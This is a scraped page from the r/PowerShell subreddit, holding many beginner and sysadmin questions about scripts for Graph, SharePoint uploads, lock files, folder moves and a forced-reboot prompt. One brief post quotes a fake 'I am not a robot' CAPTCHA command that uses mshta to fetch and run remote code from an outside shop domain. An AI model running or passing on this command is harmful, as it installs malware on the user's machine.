/r/PowerShell
PowerShell is a cross-platform (Windows, Linux, and macOS) automation tool and configuration framework optimized for dealing with structured data (e.g. JSON, CSV, XML, etc.), REST APIs, and object models. PowerShell includes a command-line shell, object-oriented scripting language, and a set of tools for executing scripts/cmdlets and managing modules.
Windows PowerShell (POSH) is a command-line shell and associated scripting language created by Microsoft. Offering full access to COM, WMI and .NET, POSH is a full-featured task automation framework for distributed Microsoft platforms and solutions.
SUBREDDIT FILTERS
/r/PowerShell
Before anything, I should say I am an absolute beginner, so bear with me.
I added this code in a batch file in startup:
-->@echo off
start /min "" "Path\AppName.exe"
I put the path name and app address in the appropriate place in the code. It runs the app, but it doesn't minimize it.
Hi everyone,
I've been banging my head against the wall trying to figure out why my function "clear-allvars" won't fire.
I'm trying to clear a variable though a function, but it doesn't work.
If I run 'Clear-Variable fullname' only, then it works, but not when running entire script as part of a function.
I tried VSCode, VSCodium, ISE and shell. Only shell works properly, other 3 keep variable even after running my 'clear-allvars' function.
Any idea why? Thanks in advance.
Here is the code:
Write-Host 'Enter FULL Name (First name + Last name): ' -Nonewline
Read-Host | Set-Variable FullName
function clear-allvars{
Clear-Variable fullname
}
clear-allvars
How do you use the -Activity, -CurrentOperation and -Status parameters? I’m making a script that’s using nested progress bars and it seems these three parameters sort of overlap. What data is best to report with which option?
Is this a recent change? I am having to do Get-MgUser -Filter "userPrincipalName eq..." to filter by UPN, its only taking the GUID for -userid now apparently?
Windows NAT Manager GUI is a lightweight Windows application that simplifies the management of NAT (Network Address Translation) configurations on your system. Built with PowerShell and Windows Forms, this tool allows you to easily add, edit, and delete static NAT mappings as well as manage NAT networks—all through an intuitive graphical user interface.
https://github.com/2KU77B0N3S/Windows-NAT-Manager-GUI/
EDIT: SOURCE CODE ADDED: https://github.com/2KU77B0N3S/Windows-NAT-Manager-GUI/blob/main/WindowsNATManagerGUI.ps1
I have un installed and reinstalled powershell 7 multiple times same with oh my posh ensuring i am using a mono spaced font at size 12. I have also tryed remvoing everything a (oh my posh, terminal icons) and letting the Chris Titus install script do it all but it always ends up the same im at a little bit of a loss any suggestions would be greatly apreaciated.
Greetings all -
I have a file that is a text file (saved from Outlook e-mail), which would look something like this sample:
From:\taddress@company.com\r\n
Sent:\tDay of Week, Month Day, Year Time\r\n
To:\tdistribution_list@company.com\r\n
Subject:\tImportant subject information here \r\n
{more of that subject line continued here}\r\n
\r\n
{more stuff that I would otherwise ignore}\r\n
Keyword_name: Important-text-and-numbers, Important-text-and-numbers-2, Important-text-and-numbers-3 \r\n
Important-text-and-numbers-4, Important-text-\r\n
and-numbers-5 \r\n
\r\n
{more stuff that I'm ignoring}\r\n
Footer-info\r\n
( where \t is a tab character )
When I bring the text in, using Powershell 5.1 with$textContent = Get-Content -Path $textFilePath -Raw
and then use$keyword = "Sent"
$importantLines = $textContent -split "\
r`n" | Select-String -Pattern $keyword
foreach ($line in $importantLines) {
Write-Output $line
}`
I wind up getting multiple lines for the "Sent" line that I'm looking for, and getting multiple lines for the part where I should be catching the Important-text-and-numbers. It is grabbing lines that precede the lines with the Important-text-and-numbers and lines that follow those lines as well.
In the first case, where it should be catching the "Sent" line, it grabs that Sent line and then grabs a line of text that is actually almost the very bottom of the message (it's in the closing area of the message)
In the case of the "Important-text-and-numbers" it's grabbing preceding lines and then goes on and grabs successive lines that follow those lines.
I can do some search and replacing to clean-up the inconsistent line endings (replacing the entries that have the extra space in front of the CRLF, or have the hyphen in front of same) so that the lines end with CRLFs as expected but in looking at the raw text, I can't understand why the script that I'm working on is grabbing more than the subject line as there is a CRLF at the end of the Sent entry.
Oddly, the line for the subject is being captured, along with the additional information line (which I would have expected wouldn't have been picked up). That's a good thing that I would like to have happen anyway. I just don't get the unexpected results being what they are the output looking something like this when I look at the output lines:
Sent: Day of Week, Month Day, Year Time
Email:
returnaddr@company.com
Subject: Important subject information here {more of that subject line continued here}
{more stuff that I would otherwise ignore} ... Keyword_name: Important-text-and-numbers .... {more stuff that I'm ignoring....}
I had a strange one today, and it's probably because I need a better understanding of what's going on "under the hood" with these commands.
Background: For a school assignment, we had to create and set up 3 virtual servers, add them to the domain, and install ADDS on one to use as a secondary AD server. All through Powershell.
Environment: This is where I believe the core of the issue lies. We are on virtual servers that themselves have HyperV running on them. The HyperV VMs are the servers in question that we had to set up. It usually works OK but today was painfully chugging at times. Latency was measured in seconds between keystrokes / mouse clicks and actions on the screen.
The issue: initially we set up a script that prompts the user for details via read-host, (server name, IP add, etc), stores them as variables, and recalls those variables in the setup commands. The setup commands themselves were sent after creating anf connecting to a PSSession on each server. Eventually, it got so bad that the IP configs were being applied to the VMHost, despite the fact that we were definitely in a session with the project servers. It was like the commands were being sent faster than the VMHost could process them.
Once we moved the commands to an Invoke-Command script block, it worked just fine.
My gut says Invoke-Command sends the commands as a whole, and is overall "lighter" in terms of resources and network load, than a true PSSession. I'm just looking for confirmation, or being told I'm way off-base. And/or if there's a better way.
No script unfortunately...we have no way to export it from the lab (since it is a secure environment) and I'm not sureI can recreate it from memory.
I need to assign a path that matches the folders already created in the destination and is copied to these but the problem is in the comparison in the if, what would be the logic of this or what can be done here ?
clear
function main(){
$r = "c:\\user\carpeta"
$origen = "CURSO SOBRE EL DERECHO DE GRACIA AMNISTÍA E INDULTO"
$destino = @(
"FC023433 CURSO SOBRE EL DERECHO DE GRACIA - AMNISTIA E INDULTO"
"F3725425 emprendimiento y materia"
...
)
$destino | ForEach-Object{
if($origen -match $($_)){
$rutaFinal = "$($r)\$($_)"
}
}
}
main
Good day all,
Using VISUAL STUDIO and POWERSHELL, I've developed an interactive application for my firm's first and second level IT department. This tool allows the helpdesk rep to do a series of tasks all within a single interface. It consolidates a series of tasks that the team would otherwise need several consoles to complete.
In short, the tool makes calls to Active Directory, Exchange On-Line (EOL), Microsoft SCCM to do things like read/set mailbox permissions, read / modify AD accounts, manipulate the users' remote computer, and many many more tasks. Collectively, there are about 35-40 different things that this application has been fitted to do.
After spending nearly 3 years (on and off) developing it, I'm now starting to become curious about its monitory abilities.
With that in mind I have several questions:
Has anyone made anything using PowerShell / Visual studio, and been able to monetize it?
Being that PowerShell is a Microsoft language would I be responsible for informing them (perhaps licensing something through them?). Sorry perhaps I'm not sure how to ask what I'm asking, but at it's core, the "engine" I'm using is Powershell. In the event that this application makes it to the market and takes off, would I need to consider informing MS? Again, unsure what I'm asking here :)
Is there a way to copyright / protect my app. The application itself is comprised of codes that are found online, but I've tweaked and customized these codes (some, extensively) to my own specifications, and have made it so that they properly communicate with visual studio to display results in listview/textboxes/etc. This took some time to figure out and complete. I'd like to keep this part private and have some ownership on this. How can I do this? Is there an app?
My final thoughts with this app is to have it in the cloud (i.e. the intranet of the company specifically), without the need for me to have to distribute .exe files to potential clients. I would somehow implement my PS1 code in their intranet, and their tech reps would simply load an internal page at the start of their day, and use throughout the day as needed. How would I do this? OR should I just consider creating an .exe file that calls back to a activation server to check client licenses.
Are there platforms out there where I can demonstrate this app? I'm thinking somewhere where potential clients would see my app, and then reach out to me to inquire further. Are there reputable sites out there for this purpose?
I'm not sure what else I have NOT asked yet. Can someone think of what else I should be concerned with.
Other than creating my app, I have ZERO knowledge on what comes after to get the product out to the market.
Any help is greatly appreciated, even the most basic suggestions.
Just want to have a good starting point.
Thank you again for your time. It's really appreciated.
R
Hey all,
Just wondering if I could get some advice here. We use Backup Exec in our environment (before anyone bips off...we have like 20+ years history of BE and switching to a different Backup solution really isn't in the cards because policy states we need to keep a minimum of 5 years of backups available).
Lately, BE has been hanging backing up Hyper-V on certain servers. After some digging around, I found the problem is, PowerShell isn't starting on those servers.
When I launch PS, I just get:
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
And no prompt.
We ran into this before with PRTG when we were monitoring Hyper-V replication status. We were using a PS script that was run remotely from the monitoring server, and it wasn't closing the PS sessions when it was done. We changed those scripts to run locally on the monitoring server, and to do a remote query on the target server and that seems to have stopped it.
However, now, it seems like BE is causing the issue. Only way around is to reboot the server. Which isn't a problem for the Hyper-V replica servers, but can be a problem for the primary servers.
Is there any way to restart PowerShell on the server without completely rebooting? And any way to make sure that remote sessions close when they're disconnected?
I have a folder that has at least fifty subfolders, one for each city where we operate. Each city folder has multiple weekly folders and a yearly folder. The names of the weekly and yearly folders are the same in each city folder. Every week I have to move a weekly folder to it's yearly folder. Is there a way to do this efficiently? I'm trying to avoid having to open each city folder and manually move the weekly folder.
For example:
C:\Testing\City 1
C:\Testing\City 2
C:\Testing\City 3
C:\Testing\City 4
C:\Testing\City 5
Each of those folders would have something like;
C:\Testing\City 1\02.02.25
C:\Testing\City 1\02.09.25
C:\Testing\City 1\02.16.25
C:\Testing\City 1\02.23.25
C:\Testing\City 1\2025
I would like to move the 02.02.25 folder to the 2025 folder in each City folder.
I figured out how to use CMD to move the folder for one city
move C:\Testing\"City 1"\02.02.25 C:\Testing\"City 1"\2025
I'm hoping there is a command I can use to have it done for every City folder at once.
Hi there. I am trying to export a SQL table with 330 columns into csv file via powershell. I am adding headers, so I’m creating 330 headers into my query such as ‘column 1’ As Column_1, ‘column 2’ As Column_2 etc, and casted them to varchar with union all.
However, I kept getting this error:
exception message: error executing bcp command: starting copy...4 rows copied. Network packet size (bytes): 4096 clock time (ms.) total : 1 average: (4000.00 rows per sec.)
It’s getting a little annoying and I would like to see if anyone encountered this before and how to solve it?
I am really struggling with Graph, something that would have taken my a couple of hours to knock together into a working demo using PowerShell modules has so far taken me a whole day to delete all my code and start back from scratch.
The end goal is a user offboarding script, disable user sign in, convert to shared mailbox, remove license, rename etc etc.
Reading through Microsoft documentation I can find this from Microsoft which I have converted to
$user = Get-MgUser -Filter 'assignedLicenses/$count ne 0' -Search '"UserPrincipalName:user@fqdn"' -ConsistencyLevel eventual -CountVariable licensedUserCount -All -Select UserPrincipalName,DisplayName,AssignedLicenses
where I can then do $user | select AssignedLicenses
which will return the license/s the user has.
However when I try something like $user = Get-MgUser -UserID user@fqdn
and then do $user | select AssignedLicenses
it always returns no value for the AssignedLicenses.
Why is this? I feel like I have some kind of mental deficiency when it is coming to working with Graph and I am really not getting it at all.
Hey y'all. I'm writing a script to configure a fresh install of Windows 11 and one of the things I'd like to do with it is set up my start menu and taskbar. I know the list of full programs in Start is just a folder but the pinned items both for it and the taskbar seem more arcane... I've rather struggled to find information on it online, lots of old posts with mixed information, comments saying solutions don't work anymore... I'm sure it's possible to do this with PowerShell, but I ask if there's any way to do it that doesn't involve essentially writing an entire utility program to handle it?
ETA: I should probably mention what I actually want to do, huh? I'm looking to set the pinned items and order on the items, my bad!
I have $json like this (this is nested in $json.Serilog.WriteTo):
"WriteTo": [ { "Name": "Console" }, { "Name": "File", "Args": { "path": "C:\Log\log.txt, "rollingInterval": "Day", "rollOnFileSizeLimit": true, "fileSizeLimitBytes": "31200000", "restrictedToMinimumLevel": "Debug" } } ]
I want to add an entry in the "Args" property, "retainedFileCountLimit": "1000"
but I can't get it to work. What I've tried, and found on SO is something similar to this: $obj.prop1.prop2.prop3 | Add-Member -Type NoteProperty -Name 'prop4' -Value 'test'
$json.Serilog.WriteTo.Args | Add-Member -Type NoteProperty -Name "retainedFileCountLimit" -Value "1000"
but get a error: Cannot bind argument to parameter 'InputObject' because it is null
Evening all
Just a quick one, when dealing with powershell and office 355 are people moving to using Microsoft graph?
If so, ive been reading that it's a bit of pain to work with. Maybe people know other wise.
Thanks
Is there any way to successfully disable Windows 11 notifications per user using a PowerShell script? I have been trying to get a script to work that will disable notifications for all users, but that seems unattainable at this point.
Another approach I am looking at is to create a script that will disable notifications for the current logged in user. If I can get that to work then I can have the script execute once per user when the initially log on to a computer.
Hello, I need help, when I want to delete or move a video or audio file, it appears that shell infrastructure host has it open and I need to retry several times to let me move or delete it. I need help, please.
I'm trying to prevent write collisions when using a script runner on multiple computers to run a script that writes to a single combined output file. I tried to create a lock file, with a loop that checks for the existence of the lock file before allowing the script to proceed, but I'm still getting the collision error, so apparently it's not working (error is that the output file is locked by another process). Code below; any ideas?
# Start loop to create lock file, if needed $StartLoop = { $Global:timelockfile = "$env:AuditPath\$(Get-Date -f yyyy-MM-dd).timelockfile" If (Test-Path $timelockfile) {Sleep -seconds 1} Else { #Create lock file to prevent write collisions New-Item -ItemType FIle $timelockfile Return} .$StartLoop} &$StartLoop [PSCustomObject]@{ 'EndPoint' = $Env:ComputerName 'Date' = $(Get-Date -f yyy-MM-dd) 'Time' = $(Get-Date -f hh:mm:ss) 'TimeZone' = get-timezone | Select-Object -ExpandProperty ID } # Remove lock file at completion Remove-item $timelockfile -force
(not sure why line breaks aren't working in above...sorry!?)
(ETA - that's too ugly. Adding below WITHOUT using the code editor. I know that's frowned on, but I can't read the above, and I don't expect anyone else to struggle through that mess, either. Mods, hope you understand...)
# Start loop to create lock file, if needed
$StartLoop = {
$Global:timelockfile = "$env:AuditPath\$(Get-Date -f yyyy-MM-dd).timelockfile"
If (Test-Path $timelockfile) {Sleep -seconds 1}
Else { #Create lock file to prevent write collisions
New-Item -ItemType FIle $timelockfile
Return}
.$StartLoop}
&$StartLoop
[PSCustomObject]@{
'EndPoint' = $Env:ComputerName
'Date'
= $(Get-Date -f yyy-MM-dd)
'Time'
= $(Get-Date -f hh:mm:ss)
'TimeZone'
= get-timezone | Select-Object -ExpandProperty ID
}
# Remove lock file at completion
Remove-item $timelockfile -force
Full code was like this
powershell -NoProfile -Command”mshta https://requinos.shop/matataakuna.mp4 # ✅ “I am not a robot -rëCAPTCHA Verification ID:
I have an assortment of PowerShell scripts for installing a web application (it's all in a same monorepo).
I want an environment file for all of the PowerShell files to centralize their requirements. Up till now we tagged individual files that required a module with the usual modeline: #Requires -Modules ***
But changing this is tiring for each release.
Is there a format that works particularly well, like a package.json, requirements.txt, etc kind of file?
I am installing wsl on my Windows 11 system. When I type in the WSL command, i get some weird formatted messages. I get a space between each letter. What is going on here?:
PS C:\Windows\system32> wsl --install
W i n d o w s S u b s y s t e m f o r L i n u x i s a l r e a d y i n s t a l l e d .
T h e f o l l o w i n g i s a l i s t o f v a l i d d i s t r i b u t i o n s t h a t c a n b e i n s t a l l e d .
What local (file) db to use with powershell? ideas&
Just sick of csv...
On admin.cloud.microsoft/exchange i created a Dynamic Distribution with PowerShell directly from Exchange Admin center (from CloudShell).
I wanted to add a condition rule based on "Country" and include userType "Member" also to not include there Contractor.New-DynamicDistributionGroup -Name 'US Employees' -IncludedRecipients "(Country -eq 'United States') -and (userType -eq 'Member') -and (userType -noteq 'Contractor')
is this correct? because i get the error
New-DynamicDistributionGroup: The term 'New-DynamicDistributionGroup' is not recognized as a name of a cmdlet, function, script file, or executable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
I have been trying to figure out if an online editor exist, I want to figure out how to nvim a new tab that splits the current terminal in two? Anything like that?
With M$ changing it so you have to use app registrations to connect to SharePoint, I am having an issue getting my code to connect through an app reg. The error I get is (401) Unauthorized when I try the copy section of the script. I also get "Parameter set cannot be resolved using the specified named parameters. One or more parameters issued cannot be | used together or an insufficient number of parameters were provided. Resolve-PnPFolder" I have checked the client and tenant IDs to make sure they are right. I have created a whole new secret in the app reg and made sure I was using that. All the API permissions are set for sites.fullcontrol.all and sites.readwrite.all in both SharePoint and graph.
# Variables
$SiteURL = "sharepoint site Url"
$FolderLocalPath = "local folder path"
$TargetFolder = "Sharpoint folder path"
# App Registration Details
$ClientId = "App/Client ID" # Replace with your App Client ID
$ClientSecret = "Generated Secret Key" # Replace with your App Client Secret
$TenantId = "Tennant ID" # Replace with your Tenant ID
# Authenticate using App Registration
$AccessToken = (Invoke-RestMethod -Method POST -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body @{
client_id = $ClientId
client_secret = $ClientSecret
scope = "https://graph.microsoft.com/.default"
grant_type = "client_credentials"
}).access_token
# Connect to SharePoint using PnP PowerShell
Connect-PnPOnline -Url $SiteURL -ClientId $ClientId -ClientSecret $ClientSecret -Tenant $TenantId
# Get all files from the local disk
$Files = Get-ChildItem -Path $FolderLocalPath -File
# Ensure the target folder exists
Resolve-PnPFolder -SiteRelativePath $TargetFolder | Out-Null
# Email if local folder is empty
$directoryPath = "C:\Dump\visionpics\"
$items = Get-ChildItem -Path $directoryPath
if ($items.Count -eq 0) {
Write-Host "'$directoryPath' directory is empty."
$psemailserver = 'smtp server'
$to = 'Some Contact <scontact@company.com>'
Send-MailMessage -From 'Machine <donotreply@company.com>' -To $to -Subject 'Machine Folder' -Body "Machine folder is empty"
} else {
Write-Host "'$directoryPath' directory is not empty."
$items.Count
$count = $items.count
$psemailserver = 'smtp server'
$to = 'Some Contact <scontact@company.com>'
$body = "Machine folder has $count pictures"
Send-MailMessage -From 'Machine <donotreply@company.com>' -To $to -Subject 'Machine Folder' -Body $body
}
# Create monthly folder in SharePoint Online folder
$currentMonth = Get-date -format "MM-yyyy"
$foldername = "files_$currentMonth"
if (!(Get-PnPListItem -List "$TargetFolder" -Query "<View><Query><Where><Eq><FieldRef Name='FileLeafRef'/><Value Type='Text'>$folderName</Value></Eq></Where></Query></View>").Count -gt 0) {
Add-PnPFolder -Name $folderName -Folder "$TargetFolder"
}
# Upload all files from the local folder to SharePoint Online Folder
ForEach ($File in $Files) {
Add-PnPFile -Path "$($File.Directory)\$($File.Name)" -Folder "$TargetFolder\$foldername" -Values @{"Title" = $($File.Name)} | Out-Null
Write-host "Uploaded File:" $File.FullName
Write-Output "$('[{0:MM/dd/yyyy} {0:HH:mm:ss}]' -f (Get-Date)) File Exported" $File.Name | Out-file C:\scripts\logs\vtallypiclog.txt -append
}
# Move files for folder management
Move-Item -Path "local directory" -Destination "local directory"
I can’t find documentation anywhere. Just a bunch of articles online showing basic usages. The GitHub page has maybe 5 examples and doesn’t cover all of the commands provided by the module.
Also I’m coming from Linux so just general question, why is it impossible to figure out the parameters of a command? Why is there no —help or /help argument in literally anything? How do people find the arguments???
So my work has asked me to create a GUI based powershell program that checks users system uptime. If their uptime is over the set limit, it will pop up this gui and let them either reboot or allow them to set it off to the side up to three times before it basically says “Your pc will reboot now, deal with it”. I’ve got all the code basically done except for the snooze feature. They also want the windows to basically go away each time a snooze occurs.
Here is what I got so far for that button press and I’m stumped.
$Button2 = New-Object System.Windows.Forms.Button
$Button2.Location = New-Object System.Drawing.Point(400,250)
$Button2.AutoSize = $true
$Button2.Text = 'Snooze'
$Button2.Add_Click({
#Add Snooze function to button press.
#Upon inital button click, the windows should close and set a timer to allow user to reboot on their own.
#If the timer reaches zero, a new window(see code below) should open and notify that a mandatory reboot will occur in __ minutes and to save what they are working on
#$main_form.Close()
#Create a loop that will do a countdown and activate a secondary form if countdown reaches zero
#add an if/else loop within for loop to determine if the application is closed or if it will open the below child form
#For($closeCount = 0; $closeCount -lt 3; $closeCount++){Register-EngineEvent -SourceIdentifier PowerShell.Exiting -Action { IncrementCloseCount }}
#if($closeCount -lt 3){$main_form.Close()
$childform = New-Object System.Windows.Forms.Form
$childform.Text = "Notice of Automated Restart"
$childform.StartPosition = "CenterParent"
$childform.Width = 800
$childform.Height = 300
$childform.Icon = $Icon
$childLabel = New-Object System.Windows.Forms.Label
$childLabel.Text = “This is to inform you that your computer is now being rebooted to install critical updates.
We strive to keep your system up to date and secure, ensuring optimal performance and protection against potential threats.
Thank you for your cooperation in keeping your system secure and up to date.
Best regards,
Company Name IT”
$childLabel.Font = 'Microsoft Sans Serif,10'
$childLabel.Location = New-Object System.Drawing.Point(0,10)
$childLabel.AutoSize = $true
$childform.Controls.AddRange(@($childLabel))
$childform.ShowDialog()
#Start-Sleep -Minutes 5
#Restart-Computer -Force
})
Please give help me fix this or get it working in some way. I know this is an extremely stupid situation/actions to take but this is what management and big boss wants as a solution. I just would like some coding help or links to resources that would help me, please.